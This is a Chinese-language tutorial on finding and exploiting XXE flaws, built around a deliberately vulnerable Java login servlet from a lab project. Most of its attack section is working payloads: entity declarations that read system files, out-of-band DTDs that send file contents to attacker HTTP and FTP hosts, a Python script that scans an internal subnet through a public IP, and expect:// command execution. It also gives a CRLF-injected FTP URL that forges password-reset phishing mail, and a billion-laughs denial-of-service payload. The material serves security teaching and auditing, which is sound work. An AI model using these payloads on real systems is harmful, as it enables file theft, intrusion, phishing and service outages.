XXE漏洞分析与挖掘 XML基础 XML的全称是EXtensible Markup Language,可扩展标记语言
编写XML就是编写标签,与HTML类似,扩展名.xml
有良好的人机可读性
与HTML差别在于,这几个方面
XML没有预定义标签,HTML存在大量预定义标签
XML重在保存与传输,HTML用于显示信息
XML文档结构
第一行必须是XML声明
有且只有一个根节点
XML标签的书写规则与HTML相同
<?xml version="1.0" encoding="UTF-8"?>
version:表示版本号1.0
encoding:表示设置字符集为UTF-8
实例
使用XML编写一个人力资源管理系统
<?xml version="1.0" encoding="UTF-8"?> <hr > <employee no ="3309" > <name > 张三</name > <age > 31</age > <salary > 4000</salary > <department > 会计部</department > <address > xx大厦-B103</address > </employee > <employee no ="3310" > <name > 张三</name > <age > 23</age > <salary > 3000</salary > <department > 工程部</department > <address > xx大厦-B104</address > </employee > </hr >
XML语法约束 XML文档结构正确,但可能不是有效的。
例如员工档案不能出现”植物品种”标签,XML语法约束就是用于规定XML文档允许出现哪些标签
DTD
Document Type Definition
文档类型定义是一种简单易用的语法约束方式
扩展名为.dtd
hr.dtd
<!ELEMENT hr (employee +)> <!ELEMENT employee (name ,age ,salary ,department )> <!ELEMENT employee no CDATA "" > <!ELEMENT name (#PCDATA )> ....
定义节点数量
<!ELEMENT hr (employee )> <!ELEMENT hr (employee *)> <!ELEMENT hr (employee ?)> <!ELEMENT hr (employee +)>
引用DTD文件
在XML中使用<!DOCTYPE>标签来引用DTD文件
<!DOCTYPE 根节点 SYSTEM "dtd文件路径" > <!DOCTYPE hr SYSTEM "hr.dtd" >
这是包含 DTD 的 “hr.dtd” 文件:
<!ELEMENT hr (employee +)> <!ELEMENT employee (name ,age ,salary ,department )> <!ATTLIST employee no CDATA "" > <!ELEMENT name (#PCDATA )> <!ELEMENT age (#PCDATA )> <!ELEMENT salary (#PCDATA )> <!ELEMENT department (dname ,address )> <!ELEMENT dname (#PCDATA )> <!ELEMENT address (#PCDATA )>
实例
<?xml version="1.0" encoding="UTF-8"?> <!ELEMENT hr (employee +)> <!ELEMENT employee (name ,age ,salary ,department )> <!ATTLIST employee no CDATA "" > <!ELEMENT name (#PCDATA )> <!ELEMENT age (#PCDATA )> <!ELEMENT salary (#PCDATA )> <!ELEMENT department (dname ,address )> <!ELEMENT dname (#PCDATA )> <!ELEMENT address (#PCDATA )>
实例
使用dtd来验证XML
<?xml version="1.0" ?> <!DOCTYPE note [ <!ELEMENT note (to ,from ,heading ,body )> <!ELEMENT to (#PCDATA )> <!ELEMENT from (#PCDATA )> <!ELEMENT heading (#PCDATA )> <!ELEMENT body (#PCDATA )> ]> <note > <to > Tove</to > <from > Jani</from > <heading > Reminder</heading > <message > Don't forget me this weekend!</message > </note >
XML攻击与危害 原理
XXE(外部实体注入)是XML外部实体注入。
当应用程序允许引用外部实体时,通过XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等
靶场
https://github.com/c0ny1/xxe-lab
代码
package me.gv7.xxe;import java.io.IOException;import java.io.PrintWriter;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.w3c.dom.Document;import org.w3c.dom.NodeList;import org.xml.sax.SAXException;import javax.xml.parsers.*;@WebServlet("/doLoginServlet") public class LoginServlet extends HttpServlet { private static final long serialVersionUID = 1L ; private static final String USERNAME = "admin" ; private static final String PASSWORD = "admin" ; protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db; String result="" ; try { db = dbf.newDocumentBuilder(); Document doc = db.parse(request.getInputStream()); String username = getValueByTagName(doc,"username" ); String password = getValueByTagName(doc,"password" ); if (username.equals(USERNAME) && password.equals(PASSWORD)){ result = String.format("<result><code>%d</code><msg>%s</msg></result>" ,1 ,username); }else { result = String.format("<result><code>%d</code><msg>%s</msg></result>" ,0 ,username); } } catch (ParserConfigurationException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>" ,3 ,e.getMessage()); } catch (SAXException e) { e.printStackTrace(); result = String.format("<result><code>%d</code><msg>%s</msg></result>" ,3 ,e.getMessage()); } response.setContentType("text/xml;charset=UTF-8" ); response.getWriter().append(result); } protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); } public static String getValueByTagName (Document doc, String tagName) { if (doc == null || tagName.equals(null )){ return "" ; } NodeList pl = doc.getElementsByTagName(tagName); if (pl != null && pl.getLength() > 0 ){ return pl.item(0 ).getTextContent(); } return "" ; } }
尝试登录抓包
可以看到我们传入的账户和密码都是在标签中包裹
尝试插入payload
分析payload
有回显型 file协议
<?xml version="1.0"?> <!DOCTYPE test1 [ <!ENTITY test SYSTEM "file:///c:/windows/win.ini" > ]> <user > <username > &test; </username > <password > admin</password > </user >
或者是使用netdoc协议i
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ELEMENT creds ANY > <!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini" > ]> <user > <username > &xxe; </username > <password > admin</password > </user >
无回显型 在java中没有编码的协议,如php能使用base64外带
php解决情况:
接收外带访问的数据
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>" >
使用nc来接收参数
或者是写一个接收的php文件
<?php $ipd = $_SERVER ["REMOTE_ADDR" ]? $_SERVER ["REMOTE_ADDR" ] : "" ;if ($ipd ){ $a = empty ($_GET ['a' ])? "" : $_GET ['a' ]; $t = empty ($_SERVER ['HTTP_REFERER' ])? "" : $_SERVER ['HTTP>REFERER' ]; $txt = htmlspecialchars($ipd ."--" .$a ."--" .$_SERVER ['REQUEST_URI' ]."--" .$t ."\r\n" ); $n = fopen("test.txt" ,"a+" ); }
发送
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % pe3 SYSTEM "http://x.x.x.x/test.dtd" > %pe3; ]> <aa > &ge1;</aa >
java解决情况:
可以看到直接爆出非法字符一些情况
由于java没有相关的编码协议,我们可以考虑使用ftp协议外带数据
jdk版本小于7u141和小于8u162才可以读取整个文件
payload
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY % xd SYSTEM "http://192.168.3.20:8000/1.dtd" > %xd; ]> <user > <username > aaaa</username > <password > admin</password > </user >
1.dtd
<!ENTITY % aaaa SYSTEM "file:///c:/windows/system.ini" > <!ENTITY % demo "<!ENTITY bbbb SYSTEM 'ftp://192.168.3.199:2121/%aaaa;'>" > %demo;
搭建http
搭建ftp
https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
HTTP 内网主机探测 存在 XXE 漏洞的服务器为我们探测内网的支点
首先是php站点
准备工作
先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子
可以尝试读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件
import requestsimport base64def build_xml (string ): xml = """<?xml version="1.0" encoding="ISO-8859-1"?>""" xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >""" xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>""" xml = xml + "\r\n" + """<xml>""" xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>""" xml = xml + "\r\n" + """</xml>""" send_xml(xml)def send_xml (xml ): headers = {'Content-Type' : 'application/xml' } x = requests.post('http://34.200.157.128/CUSTOM/NEW_XEE.php' , data=xml, headers=headers, timeout=5 ).text coded_string = x.split(' ' )[-2 ] print coded_stringfor i in range (1 , 255 ): try : i = str (i) ip = '10.0.0.' + i string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/' print string build_xml(string) except :continue
内网主机端口扫描 可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF 以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启
可以将请求的端口作为 参数 然后利用 burp 的 intruder 来帮我们探测
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" > ]> <catalog > <core id ="test101" > <author > John, Doe</author > <title > I love XML</title > <category > Computers</category > <price > 9.99</price > <date > 2020-11-11</date > <description > &xxe; </description > </core > </catalog >
远程代码执行(RCE) PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上 就可以执行如下的命令:
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" > ]><catalog > <core id ="test101" > <author > John, Doe</author > <title > I love XML</title > <category > Computers</category > <price > 9.99</price > <date > 2020-11-11</date > <description > &xxe; </description > </core > </catalog >
响应:
{"error" : "no results for description uid=0(root) gid=0(root) groups=0(root)...
钓鱼攻击 如果内网有一台易受攻击的 SMTP 服务器,我们就能利用 ftp:// 协议结合 CRLF 注入向其发送任意命令,也就是可以指定其发送任意邮件给任意人,这样就伪造了信息源,造成钓鱼
Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。
但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:
ftp ://a%0 D%0 AEHLO%20 a%0 D%0 AMAIL%20 FROM%3 A%3 Csupport%40 VULNERABLESYSTEM.com%3 E%0 D%0 ARCPT%20 TO%3 A%3 Cvictim%40 gmail.com%3 E%0 D%0 ADATA%0 D%0 AFrom%3 A%20 support%40 VULNERABLESYSTEM.com%0 ATo%3 A%20 victim%40 gmail.com%0 ASubject%3 A%20 test%0 A%0 Atest!%0 A%0 D%0 A.%0 D%0 AQUIT%0 D%0 A:a@VULNERABLESYSTEM.com:25
格式化URL解码后
ftp: EHLO a MAIL FROM: <support@VULNERABLESYSTEM . com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM . com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http: . QUIT :support@VULNERABLESYSTEM . com:25
这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。
文件上传 jar:// 协议的格式:
实例
jar:http:// host/application.jar!/ file/within/ the/zip// 这个 ! 后面就是其需要从中解压出的文件
jar 能从远程获取 jar 文件,然后将其中的内容进行解压,等等,这个功能似乎比 phar 强大啊,phar:// 是没法远程加载文件的
jar 协议处理文件的过程:
(1) 下载 jar/zip 文件到临时文件中 (2) 提取出我们指定的文件 (3) 删除临时文件
那么我们怎么找到我们下载的临时文件呢?
因为在 java中file:///协议可以起到列目录的作用,所以我们能用 file:/// 协议配合 jar:// 协议使用
<!DOCTYPE convert [ <!ENTITY remote SYSTEM "jar:http://localhost:9999/jar.zip!/wm.php" > ]> <convert > &remote; </convert >
DOS攻击 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol" > <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;" > <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" > <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" > <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" > <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" > <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" > <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" > <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" > ]> <lolz > &lol9;</lolz >
审计函数 javax.xml.parsers.DocumentBuilderFactory; javax.xml.parsers.SAXParser javax.xml.transform.TransformerFactory javax.xml.validation.Validator javax.xml.validation.SchemaFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.transform.sax.SAXSource org.xml.sax.XMLReader org.xml.sax.helpers.XMLReaderFactory org.dom4j.io.SAXReader org.jdom.input.SAXBuilder org.jdom2.input.SAXBuilder javax.xml.bind.Unmarshaller javax.xml.xpath.XpathExpression javax.xml.stream.XMLStreamReader org.apache.commons.digester3.Digester .......